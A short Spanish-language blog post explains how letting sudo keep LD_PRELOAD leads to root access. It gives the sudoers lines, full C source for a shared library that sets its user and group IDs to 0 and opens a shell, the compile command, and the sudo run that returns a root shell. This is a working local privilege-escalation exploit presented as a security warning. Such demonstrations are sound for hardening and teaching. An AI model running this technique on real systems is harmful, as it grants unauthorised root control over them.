Esta pagina se ve mejor con JavaScript habilitado

Peligros de sudo y las shared libraries

 ·  🎃 kr0m

Las shared libraries son las librerías que se cargan en runtime mientras se ejecuta un binario, de este modo conseguimos binarios mucho mas pequeños y reutilizar librerías, el path donde buscarlas se define mediante la variable de entorno LD_PRELOAD o mediante el fichero de configuración /etc/ld.so.conf.

Si permitimos comandos mediante sudo y permitimos cargar las librerías compartidas que el usuario desee este podrá conseguir acceso como root.

Configuramos sudo para que nuestro usuario pueda ejecutar un ls como root, además le permitimos definir su propia variable de entorno LD_PRELOAD:

visudo

Defaults env_keep += LD_PRELOAD
kr0m ALL=(ALL) NOPASSWD:/bin/ls

Escribimos la shared library encargada de ejecutar la shell:

cd /tmp
vi shell.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Compilamos la librería:

cc -fPIC -shared -o shell.so shell.c -D_GNU_SOURCE -nostartfiles

Al ejecutar el comando mediante sudo tenemos el UID 0 temporalmente, como hemos cargado nuestra librería esta se ejecutará presentándonos una shell con permisos de root:

RX4 ✺ /tmp> sudo LD_PRELOAD=/tmp/shell.so /bin/ls
sh-4.4# id

uid=0(root) gid=0(root)
grupos=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),26(tape),27(video)
Si te ha gustado el artículo puedes invitarme a un RedBull aquí